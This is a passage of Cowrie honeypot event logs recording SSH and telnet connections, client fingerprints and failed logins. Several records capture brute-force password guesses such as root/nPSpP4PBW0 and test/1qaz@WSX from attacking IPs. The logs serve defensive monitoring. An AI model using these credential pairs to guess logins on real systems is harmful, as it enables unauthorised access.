{"eventid":"cowrie.session.closed","duration":65.18866395950317,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:46.260377Z","src_ip":"178.128.93.180","session":"13e5b3eb3f28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38071036338806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:46.315773Z","src_ip":"69.4.83.194","session":"db3c8c791073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:46.776615Z","src_ip":"95.38.165.118","session":"856866ce0582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.950156450271606,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:47.308629Z","src_ip":"69.4.83.194","session":"9f50fa10337a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44378,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a6a543bd10","protocol":"ssh","message":"New connection: 95.38.165.118:44378 (10.17.0.5:22) [session: e4a6a543bd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:49.510626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:49.517697Z","src_ip":"95.38.165.118","session":"e4a6a543bd10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:49.671077Z","src_ip":"95.38.165.118","session":"e4a6a543bd10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:52.187891Z","src_ip":"95.38.165.118","session":"e4a6a543bd10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:53.353253Z","src_ip":"95.38.165.118","session":"e4a6a543bd10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":97.2097020149231,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:53.698293Z","src_ip":"79.139.59.21","session":"6bccc9de67f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44380,"dst_ip":"10.17.0.5","dst_port":22,"session":"516917b91f90","protocol":"ssh","message":"New connection: 95.38.165.118:44380 (10.17.0.5:22) [session: 516917b91f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:55.586338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:55.635866Z","src_ip":"95.38.165.118","session":"516917b91f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:55.817550Z","src_ip":"95.38.165.118","session":"516917b91f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36092,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a41757c400","protocol":"telnet","message":"New connection: 69.4.83.194:36092 (159.203.135.109:23) [session: f3a41757c400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:57.947612Z"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:58.377317Z","src_ip":"95.38.165.118","session":"516917b91f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:59.788774Z","src_ip":"95.38.165.118","session":"516917b91f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45804,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bd80a22fc7c","protocol":"ssh","message":"New connection: 95.38.165.118:45804 (10.17.0.5:22) [session: 2bd80a22fc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:00.050896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:00.230387Z","src_ip":"95.38.165.118","session":"2bd80a22fc7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:00.235056Z","src_ip":"95.38.165.118","session":"2bd80a22fc7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:00.934031Z","src_ip":"95.38.165.118","session":"2bd80a22fc7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.825838804244995,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:01.770797Z","src_ip":"69.4.83.194","session":"35b038024189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.09731936454773,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:02.271627Z","src_ip":"79.139.59.21","session":"4e94a2140af4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:02.957847Z","src_ip":"95.38.165.118","session":"2bd80a22fc7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45812,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2f27d08bc57","protocol":"ssh","message":"New connection: 95.38.165.118:45812 (10.17.0.5:22) [session: f2f27d08bc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:05.391778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:05.396705Z","src_ip":"95.38.165.118","session":"f2f27d08bc57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:05.563897Z","src_ip":"95.38.165.118","session":"f2f27d08bc57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:06.102137Z","src_ip":"95.38.165.118","session":"f2f27d08bc57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:08.016273Z","src_ip":"95.38.165.118","session":"f2f27d08bc57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44966,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb47e5c15755","protocol":"ssh","message":"New connection: 147.45.199.80:44966 (10.17.0.5:22) [session: fb47e5c15755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:08.994734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:08.999169Z","src_ip":"147.45.199.80","session":"fb47e5c15755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:09.099091Z","src_ip":"147.45.199.80","session":"fb47e5c15755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfdtkbq","message":"login attempt [root/cfdtkbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:09.398124Z","src_ip":"147.45.199.80","session":"fb47e5c15755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33224,"dst_ip":"10.17.0.5","dst_port":22,"session":"886aa54c9f56","protocol":"ssh","message":"New connection: 95.38.165.118:33224 (10.17.0.5:22) [session: 886aa54c9f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:10.265239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:10.297793Z","src_ip":"95.38.165.118","session":"886aa54c9f56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:10.431947Z","src_ip":"95.38.165.118","session":"886aa54c9f56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:10.499458Z","src_ip":"147.45.199.80","session":"fb47e5c15755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:12.798071Z","src_ip":"95.38.165.118","session":"886aa54c9f56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:13.966250Z","src_ip":"95.38.165.118","session":"886aa54c9f56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33234,"dst_ip":"10.17.0.5","dst_port":22,"session":"74b95c720c50","protocol":"ssh","message":"New connection: 95.38.165.118:33234 (10.17.0.5:22) [session: 74b95c720c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:15.162142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:15.372876Z","src_ip":"95.38.165.118","session":"74b95c720c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:15.378154Z","src_ip":"95.38.165.118","session":"74b95c720c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00391864776611,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:16.166550Z","src_ip":"79.139.59.21","session":"a9d93e3ecbea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:16.601161Z","src_ip":"95.38.165.118","session":"74b95c720c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:18.188409Z","src_ip":"95.38.165.118","session":"74b95c720c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43336,"dst_ip":"159.203.135.109","dst_port":23,"session":"20984d9056a4","protocol":"telnet","message":"New connection: 69.4.83.194:43336 (159.203.135.109:23) [session: 20984d9056a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:19.726244Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42664,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b029d3b0ecd","protocol":"ssh","message":"New connection: 95.38.165.118:42664 (10.17.0.5:22) [session: 9b029d3b0ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:20.666678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:20.675943Z","src_ip":"95.38.165.118","session":"9b029d3b0ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v